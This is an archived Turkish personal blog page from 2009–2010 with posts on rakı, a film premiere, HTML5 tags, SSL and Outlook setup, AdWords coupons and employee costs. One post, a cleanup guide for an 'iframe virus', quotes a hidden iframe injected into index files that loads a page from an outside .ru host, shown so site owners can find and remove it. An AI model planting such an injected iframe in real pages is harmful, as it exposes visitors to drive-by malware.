anasayfa
iletişim
twitter'da ben
rss besleme

Gerçek Muhabbetin Kitabı

admin: 4 Mart 2010 | kategori: Günlüğüm | yorum yok

Bir içki düşünün ki, ülkesinde milli içki ilan edilmiş; muhabbetle, mezeyle, fasılla donatılan sofraların baş köşesi ona ayrılmış; şairlere, yazarlara tarihten silinmeyecek dizeler, mısralar için esin kaynağı olmuş; en sevinçli anlarda, dertlerden bitap düşülen zamanlarda gönüller hep onu aramış… Tahmin etmek çok zor değil, değil mi? Bu diyarların en has içkisi, rakıdır bahsi geçen.

Vodka denince nasıl insanın aklına Rus milleti geliyorsa, rakı denince de akla ilk Türk Milleti gelir. Türklerde ise rakı denince akla gelen ilk şey Yeni Rakıdır. Yeni iletişim devi Yeni Rakının duyurduğu bir muhabbet olan “Gerçek Muhabbetin Kitabı” projesine “Maksat içmek mi muhabbet mi?” adlı yazımla katılmıştım. Projenin bitmesinden sonra işlerimden dolayı İstanbul Despina meyhanesinde düzenlenen yemeğe katılamamış. Çok sağolsın projeyi düzenleyen arkadaşlar, özellikle Ömer Ekinci, bizleri unutmamış ve kitabın basılı haliyle birlikte 50′lik Yeni Rakı göndermişler. İşte yeni iletişim devi diye buna derim…

etiketler: , , , , , , , , , , ,

Eyyvah eyvah İzmir galası

admin: 1 Mart 2010 | kategori: Günlüğüm, Haberler | yorum yok

BKM Filmlerinden biri olan “Eyyvah Eyvah”ın İzmir galası dün Balçova Kipa Cinebonus’ta yapıldı ve İzmirli Blogcular olarak davetli konumunda izleme fırsatı bulduk. Uzun süredir görmediğim kişileri görmek gerçekten güzel, tabi ek olarak daha önce yüzyüze hiç tanışmadığım kişileride görmüş oldum.

Film konusunda bir fikir sunmadan önce gala! gecesi ile ilgili birkaç eleştiride bulunmak istiyorum. Tabi bu sadece benim görüşüm değil, film bitişinde İzmirli Blogcular olarak aramızda geçen konuşmalardan aklımda kalan satırlarıda eklemeye çalışacağım.

Örneğin bir filmin gala gecesi denince aklınıza ne gelir? Ünlüler geçici, filmin oyuncularıyla söyleşi, sohbet, röportajlar falan değil mi. Gala!’ya geç gittiğim için tam olarak neler yapıldığını görmedim ancak arkadaşların betimlemeriyle; “Köy sineması önü sohbeti”, “Zorla yapılmış bir gala gecesi”, “Gala tam olarak ne demekti”. Bunların yanında davetli olarak gittiğimiz gecede ne Ata Demirer ile ne Demet Akbağ ile ne de filmin diğer herhangi bir oyuncusuyla konuşma fırsatı, onu bıraktım fotoğraf çekilme fırsatı bile bulamadık. Neyse artık film hakkındaki görüşlerime geçebilirim sanırım, sanki ne diyeceğim çok önemliymiş gibi!

Ata Demirer’e karşı büyük bir sempatim var belki onunda etkisi olabilir ama ben küfür etmeden ve salaklık yapmadan güldürdüğü kanısındayım. Konu ve senaryo olarak çok büyük bir artısı olmasada güldüğüm sahneler vardı, ki ben filmlerde çok gülen biri değilim. Recep İvedik filminin ilk filmi hariç ikinci ve üçüncüsünde Eyyvah Eyvah’tan daha az gülmüştüm. Ama davetli olarak değilde para vererek gitseydim aynı görüşte olur muydum onu bilmiyorum. Kısacası bence gidin ve ne olup ne olmadığını kendiniz görün.

Not: Filmin adı Eyyvah Eyvah, filmin biletleri dahil herkes Eyvah Eyvah yazmış ki bu yanlış.

etiketler: , , , , , , , , , , ,

Html5′e hızlı bir bakış

admin: 4 Şubat 2010 | kategori: Html, Tanıtım, İnceleme, İnternet | 1 yorum var

Web durmaksızın gelişiyor. Hergün HTML’in sınırılarını her yönde zorlayan yepyeni ve yaratıcı birçok websitesi tasarlanıyor. HTML 4 neredeyse 10 yıldır bizlerle ve artık tasarımcılar tarayıcı ve dil özelliklerini en verimli şekilde kullanabilecekleri yeni bir teknik arayışına girdiler.

HTML 5 form kontrollerinin, APIlerin, çoklu ortamların, yapıların ve anlamsal işlemlerin bulunduğu geniş çaplı bir özellik hazinesini sunmakta ve barındırmaktadır. Böylelikle yazarlar tasarımlarında ve uygulamalarında daha esnek ve yaratıcı olabilirler.

HTML 5, 2004 yılında tanıtılmıştır ve şuan W3C HTML WG ve WHATWG ortak çalışması olarak devam etmektedir. 4 büyük tarayıcı markası olan Apple, Mozilla, Opera ve Microsoft’un temsilcileri W3C içinde baş geliştirici olarak ortak çalışmaktadır. Bunların yanında birçok oluşum ve bağımsız kişi farklı farklı bölümlerde ilgi ve uzmanlıklarını paylaşmaktadırlar.

Özellik sayfası henüz geliştirme aşamasında olan ve tamamlanması için daha birçok eklenti yapılması gereken bir süreçtir. Bu doğrultunda yazıda bahsedeceğimiz bazı olası özellikler gelecekte değişime uğrayabilirler. Bu makale henüz geliştirilmekte olan birçok ana özelliğe kısa bir bakış yapmanızı sağlayacak bilgiler sunmaktadır.

Yapısı

HTML 5 sayfaların yapısını kolay ve hızlı bir şekilde yapmanızı sağlayacak birçok yeni nesneyle birlikte gelmektedir. Çoğu HTML 4 sayfası başlıklar, altlıklar ve sütunlar gibi birçok tanımlayıcı yapı nesnesini içermektedir ve genellikle hangi yapıyı temsil ettikleri div nesnelerinin id veya class öznitelikleriyle işaret edilmektedir.

Örnek grafikte alışılageldik 2 sütunlu bir yapı örneğinin div nesnesinin id ve class öznitelikleriyle tanımlanmış halini görmektesiniz. Bir adet başlık, altlık ve başlığın altında yer alan yatay bir erişim çubuğu içermektedir. Ana içerik bir makale ve sağ tarafta bir yan menü içermektedir.

HTML 4 üzerinde div elementinin geniş olarak kullanılmasındaki asıl neden özel olarak bu bölgelerdeki anlamsal ifade eksikliğini gidermektir. HTML 5 ise bu sorunu farklı bölümleri temsil eden farklı nesneler sunarak gidermeyi hedeflemektedir.

Div nesneleri yeni tanıtılan nesneler ile yer değiştirilebilir: header, nav, section, article, aside ve footer.

Bahsi geçen dökümanın biçimlendirmesi aşağıdaki gibi olmaktadır.

<body>
<header>…</header>
<nav>…</nav>
<article>
<section>

</section>
</article>
<aside>…</aside>
<footer>…</footer>
</body>

etiketler: , , , , , , , , , , , , , , , , , , ,

Maksat içmek mi muhabbet mi?

admin: 31 Ocak 2010 | kategori: Günlüğüm | yorum yok

Hani büyüklerimiz nerede o eski günler diye yakınırlar ya, işte bugünlerde gerçekten bazen haklı olduklarını düşünmeye başladım bu yaşımda.

Bir sofra hayal edin, enfes yemekler, mezeler, salatalar, tatlılar. Tam bir ziyafet anlayacağınız. Bir kuş sütü eksik denilen cinsten. Sohbet o kadar güzel ki sofra unutulmuş saatlerdir “Aslan sütü” ile birlikte muhabbet göklerde. İşte bu sofrada asıl önemli olanın içmek değil sohbet olduğunu tam olarak anlarsınız. Sadece içmiş olmak için içmediğiniz çok net ortaya çıkar. İşte o zaman;

“Nerede o eski rakı sofrası adab-ı muaşereti” dememek kimin elinde ki…

etiketler: , , , , , , , , , , , ,

PositiveSSL Sertifika Kurulumu: Microsoft IIS 5.x & 6.x

admin: 25 Ocak 2010 | kategori: Nasıl yapılır | yorum yok

İnternet üzerinden alışveriş imkanı sağlayan sitelerde bulunması zorunlu olan SSL kurulumunu anlatmaya çalışacağım bu yazımda. Daha güvenli veri aktarımı ve kart bilgilerinin gizliliğini sağlayan bir sertifikadır SSL ve her websitesi için özel olarak tanımlanmalıdır. Bundan sonraki bölümlerde bir ssl sertifikanızın bulunduğunu ve ISS 5 veya 6 üzerinde yayın yapan bir sunucunuzun olduğunu varsayıyorum. Eğer sertifikanızı henüz edinmediyseniz buradan temin edebilirsiniz.

1. İlk olarak sunucunuza yönetici hesabını kullanarak uzak masaüstü bağlantısı yapınız ve ardından Control Panele erişiniz.

2. Control Paneldan Administrative Tools seçeneğini tıklayarak Internet Services Manager uygulamasını başlatın.

3. SSL sertifikasını kurmak istediğiniz web sitesinin özellikler penceresine erişiniz. Bunu web sitenin adının üzerinde sağ tıklayarak Properties seçeneğiyle yapabilirsiniz.

4. Yukarıdaki pencere veya benzeri bir pencere çıkacaktır. Directory Security sekmesinden Server Certificate tuşunu tıklayınız.

5. Üstteki kurulum sihirbazına ulaştıktan sonra Process the pending request and install the certificate seçeneğini işaretleyip Next tuşunu tıklayın.

6. Sonraki adımda sertifika dosyanızın konumunu girin (veya Browse tuşuyla seçiniz). Bu dosya size gönderilen .cer uzantılı bir dosya olmalıdır. Eğer bu şekilde bir dosya elinizde yoksa sertifika kodu olarak gönderilmiş olabilir. Bu kodu .cer uzantılı bir dosya olarak kaydedebilirsiniz.

7. Sonraki adımda sertifika hakkında ayrıntılı bilgier gösterilecektir ekranda. Dikkatlice okuyarak doğru sertifika için işlem yaptığınızdan emin olunuz. Ardından Next tuşunu tıklayabilirsiniz.

8. Onay adımlarını geçtikten sonra sertifika kurulumu tamamlanmıştır. Tam olarak aktif olması için sunucunuzu yeniden başlatmanız gerekmektedir.

etiketler: , , , , , , , , , , , , , , , , ,

Bu site bilgisayarınıza zarar verebilir uyarısı ve çözümü (Iframe virüsü)

admin: 24 Aralık 2009 | kategori: Nasıl yapılır, İnceleme | yorum yok

İşim gereği birçok web sorunuyla karşı karşıya gelmekteyim. Bunlardan biri uzun zamandır sık sık gördüğüm “Bu site bilgisayarınıza zarar verebilir” uyarısı. Basit bir şekilde işliyor bulaşma mantığı. Virüs ve/ya casus yazılım bulaşmış bir bilgisayar düşünün ve tabii tüm sitelerinize bu bilgisayardan erişiyorsunuz. Tüm ftp bilgileriniz, eposta bilgileriniz vs. bu bilgisayarda mevcut ve kayıtlı. Bu kötü yazılım bunları ele geçirdikten sonra kendisini hazırlayan “badguy”a gönderiyor. Tabii bu arkadaş ya kendi kullanıyor ya hazırladığı otomasyona sokarak sisteminizi enfekte ediyor. Aslında bu genel anlamda bir virüs sayılmaz. Sadece ftp’ye erişerek index (index.php, default.asp gibi) dosyalarına bir kod parçacığı ekliyor. Aşağıda bahsettiğimiz kodun bir örneği mevcuttur;

<iframe src=”http://site.ru.tld:8080/index.php”width=177 height=181 style=”visibility:hidden”></iframe>

Bu kod parçaçığıda Google zararlı olarak işaretlediği için sitenizde zararlı olarak işaretlenmiş oluyor. Bu durumda Firefox, Google Chrome ve Google Aramadan gelen ziyaretçileriniz “Bu site bilgisayarınıza zarar verebilir” ekranıyla karşılaşıyor.

Tüm yazdıklarımızından sonra asıl amacımız olan “Bu koddan nasıl kurtulacağınız?” sorusuna gelelim. İlk olarak tüm yedeklerinizi almanızı tavsiye ederim. İşlem sırasında hata çıkma olasılığına karşı virüslü de olsa yedeklerin olması sağlıklı olacaktır. Tüm site dosyalarımızda yukarıda örneği yer alan kodu arayarak silmeliyiz. Genelde index dosyalarında olsa da diğer tüm dosyaları kontrol edip temizlemeniz çok daha doğru olacaktır. Ardından temiz bir bilgisayarda tüm düzelttiğiniz dosyaları ftp’dekileri silerek tekrar yükleyiniz. FTP, kontrol paneli ve diğer hizmet şifrelerinizi değiştirmeyide unutmayınız tabii ki.

Sırada sitenizi Google’ın zararlı siteler listesinden çıkarma işlemi var. Bu tam olarak bizim kontrolümüzde olan bir durum olmadığı için Google’ın sunduğu Webmaster Tools‘u kullanacağız.

Giriş işlemlerinizi yaptıktan sonra aşağıdaki işlemleri sırasıyla yapmanız gerekmektedir.

1. Site Ekleyin tuşunu tıkladıktan sonra çıkan ekranda site adresinizi giriniz.

2. Sahip olduğunu doğrula sayfasında doğrulama türünü seçerek söylenen işlemleri yapınız. Ben kolay olması için dosya yüklemeyi seçip devam ediyorum.

3. Onay işlemini yaptıktan sonra Google Webmasters Tools bize sitenin durumu hakkında bilgi verecektir. Eğer zararlı site şeklinde işaretli ise bu konuda da ekranda uyarı gösterilecektir.

4. Bu durumdan kurtulma yöntemlerinden bahseden sayfadaki “İnceleme Talep Et” butonunu tıklamadan önce metin alanına kısa bir açıklama girmeniz uygun olacaktır.

İşlemler şuan için bu kadar. Google 3-5 saat içinde büyük ihtimalle talebinizi işleme alacak ve sitenizi zararlı listesinden çıkaracaktır. Hayırlı olsun.

etiketler: , , , , , , , , , , , , , , , , ,

Google Adwords kupon kullanımı

admin: 29 Kasım 2009 | kategori: Nasıl yapılır | yorum yok

Birçok firma ve Google Adwords’ün kendisi Adwords uygulamasını deneyebilmemiz için bize deneme kuponları gönderebiliyor. Bu kod genelde 107TL içermektedir. 107TL’nin 7TL’sin aktivasyon için kullanıyoruz ve geri kalan 100TL ile reklam kampanyamızı yayınlıyoruz. Bu yazıda bu kodu nasıl kullanacağımızı adım adım anlatmaya çalışacağım.

1. İlk olarak bir Google Adwords hesabınız olmalıdır. Eğer bir hesabınız varsa 4. adımdan devam edebilirsiniz.

2. Google Adwords adresine gidin. Hesabınız varsa giriş yapın, eğer yoksa “Şimdi başlayın” butonunu tıklayın.

3. Gelen sayfada kendinize uygun seçenekleri doldurarak kaydınızı tamamlayın ve eposta adresinize gelen onay mailinideki bağlantıyı tıklayarak hesabınızın aktive olmasını sağlayın. Ardından 2. adımı uygulayın.

4. Faturalandırma > Fatura tercihleri menüsüne gelerek ilk fatura ayarlarını yapacağımız sayfaya ulaşınız. Bu işlemler sırasında Adresimizi gireceğiz, Ödeme türümüzü belirleyeceğiz ve kodumuzu gireceğiz.

5. İlk ekranda ülkeyi seçip devam edebilirsiniz.

6. Sonraki ekranda ödeme türü seçeceksiniz. Ben Banka havalesini seçerek devam ettim. Kendinize uygun ödemeyi seçerek sonraki adıma geçiniz.

7. Adres bilgilerimizi gireceğimiz sayfaya ulaştık. Gerekli alanları doldurduktan sonra “Bir promosyon kodunuz mu var?” kısmını tıklayarak elimizdeki kodu girin. Diğer alanlarıda doldurarak “Kaydet ve Etkinleştir” butonunu tıklayabilirsiniz.

8. Kodunuzun başarıyla etkinleştirildiğine dair mesajı gördükten sonra kullanıma başlayabilirsiniz. (not: miktarın panele yansıması minimum 15 dakika kadar sürebilmektedir.)

Artık istediğiniz reklam kampanyasını yayınlayabilirsiniz. İyi reklamlar :)

Not: Takıldığınız konuları yorumlar kısmında sorabilirsiniz.

etiketler: , , , , , , , , , , , ,

Microsoft Outlook 2003 Hesap Kurulumu

admin: 11 Ekim 2009 | kategori: Nasıl yapılır | 2 yorum var

Microsoft Outlook 2003 üzerinde hesabınızı tanımlayabilmeniz için ilk olarak programı başlatınız. Ardından aşağıdaki adımlar gerçekleştiriniz.

1. Programın menüsünden Araçlar > Eposta Hesapları seçeneğini tıklayınız

2. Gelen pencereden “Yeni Eposta hesabı ekle” kutusunu işaretleyerek “İleri” tuşunu tıklayınız.

3. Sonraki adımda “POP3″ü seçerek “İleri” tuşunu tıklayınız.

4. Bu adımda resimde görünen yerlere kendi özel alan adınız için uygun bilgileri giriniz. madiladresiniz.com kısmına domain adınızı giriniz.

Not: Gelen ve giden sunucuları firmalara göre değişmektedir ancak genelde smtp ve mail aynı adres üzerinden çalışmaktadır: mail.domaininiz.tld

5. Giden sunucu ekranından “Giden sunucum (SMTP) için kimlik doğrulamas gerekiyor” işaretli olmalıdır.

6. Gelişmiş ayarlar penceresinden size uygun port bilgilerini giriniz. Şuan için Türkiye lokasyonlu sunucular için giden port 587 olarak kullanılmaktadır. “Tamam” tuşunu tıklayınız.

7. Tekrar “İleri” tuşunu kullanarak işlemi tamamlayabilirsiniz. Artık hesabınız oluşturulmuştır.

etiketler: , , , , , , , , , ,

Çalışanlar sadece cebinizden çıkan para değildir

admin: 9 Ekim 2009 | kategori: İnceleme | 2 yorum var

Sektör ne olursa olsun hiç farketmez gerçekten öngörüşlü olmayan patronlar ve/ya iş sahipleri bir çalışan alırken birden fazla seçenek var ise kuşkusuz maliyeti en düşük olanı seçecektir. Bu durum kısa zamanlı olarak kasadan çıkan paranın azalması doğrudan da giderlerde azalma gibi görünse de çalışanın performansı ve firmaya kazandırdıkları / maliyeti oranı iyi yapılmamış ise uzun bir zaman diliminde mutlaka zarar veya kazancın düşmesine neden olacaktır.

Örneğin bir konuda spesifik olarak eğitim almış bir X çalışanı aylık olarak maaş ve sosyal giderler dahil 2500TL ve herhangi bir eğitim almamış ve tabiri caizse “alaylı” bir Y elemanı tüm giderleri dahil 1250TL çıkışa neden olmaktadır. Ancak burada sadece anlık olarak elinizdeki nakitten eksilecek olanı düşünmek yerine çalışanlar ile ilgili bir kazanç / maliyet analizi yapalım.
X elemanının aylık olarak firmanıza 25000TL getiri sağlayan bir performans sunduğunu düşünelim diğer alaylı elemanımız Y ise tecrübe ve bilgi eksikliğinden kaynaklanan performans kaybı ile 10000TL sağlayabilmektedir. Bu net olarak görünecek bir nakit para çıkışı / kâr grafik değişimine neden olacaktır. Tecrübeli X net olarak size 22500TL, acemi Y ise 9750TL kazanç sağlamaktadır.

Bu durum ne kadar açık olursa olsun iş sahipleri hiçbir zaman gelecek bir kazanç için elindeki nakiti harcamak istemez. Ancak risk almayı bilen ve öngörüş sahibi bir patron en doğru kararı görebilmektedir. Bu konu sadece çalışanın aldığı maaş ile ölçülemez tabii ki. Sizin için çalışan ve firmanızı en iyi şekilde temsil edecek elemanlarınız için iyi bir ortam sunmalısınız. Google’ı örnek vermeden edemeyeceğim, adamlar sadece çalışanları için masaj salonları, berberler, oyun alanları, tenis sahaları ve buna benzer rahatlatıcı etkinliklerin bulunduğu bir tesis yaptırmış. Ve bu kadar getirinin olduğu bir işi kaybetmek istemeyen çalışan sanki kendi firmasıymış gibi sahiplenir ve elinden gelen herşeyi yapmaya çalışır.

Adı lazım değil büyük bir firmanın sadece anlık gelire önem verdiğini bir düşünün. Elemanlar en düşük ücretlilerden seçiliyor, çalışma ortamları sıkıcı ve hiçbir teşvik edici aktivite yok. Ne çalışanlardan gelen önerilere önem veriliyor ne de tolerans tanınıyor. Düzgün bir tanıtım yapılmamasına ve eğitim verilmemesine rağmen en küçük hatada fırça atılıyor. Ancak tüm bunların yanında Adı Lazım Değil firması sektörün öncülerinden ve sadece adıyla güven sağlıyor. Sizce bu firma ne kadar kalıcı olur?

Çalıştırdığı elemana sadece maliyet şeklinde bakan bir firmanın gücü en fazla 2 kriz atlatabilir.

etiketler: , , , , , , ,

Cebit 2009 ve Etohum toplantısı

admin: 9 Ekim 2009 | kategori: Günlüğüm | yorum yok

Uzun bir aradan sonra en sonunda İstanbul’a tekrar gelebildim. Tabii bunu değerlendirmeden de olmaz diyerek Cebit, Etohum falan gezmeyi ihmal etmedik. İstanbul’da bir çok networking ve sektörel toplantılar oluyor bildiğiniz gibi. Likemind, Etohum, Facebook Developer Garage vs.

İlk olarak Cebit 2009′dan beklediğimi bulamadığımı belirtmek istiyorum. İlk kez geliyorum ancak önceki yıllarda yapılan Cebit Fuarlarını videolardan ve makalelerden takip ediyordum. Örneğin geçen sene ki fuarda telefonlar üzerine çok durulmuştu ancak bu sene üzerine durulan herhangi bir konu göremedim. Çok boş ve gereksiz standlar vardı ve herhangi bir atraksiyon yoktu. Bir tek NOD32′nin wii ile oynattığı virüs yakalama oyunu vardı.

3G geldi ancak en ufak 3G kelimesi bile görmedim fuarda. Büyük operatörlerin standları da yoktu. Fuara Desnet davetiyesiyle girdiğim için şanslıyım aslında, eğer 20TL verip girmiş olsaydım bütün gün o paraya acıyarak geçirecektim : )

Cebit den erken çıkıp çok uzun bir yolculuktan sonra Fenerbahçe’deki mackolik.complex’e Etohum toplantısı için gittik. Asıl gitme nedenlerimizin arasında tabii ki Mynet’in kurucusu Emre Kurttepeli’nin konuşma yapacak olması vardı. Ve gerçekten bizim için çok faydalı bir toplantı oldu. Bundan sonra takip edeceğim toplantılardan biri olacak Etohum.

Tabii güne başlarken Ahmet ve Yaşar ile karşılaşmam çok büyük bir şanstı. Malum İstanbulda yeniyim gezmek biraz zor olabiliyor : )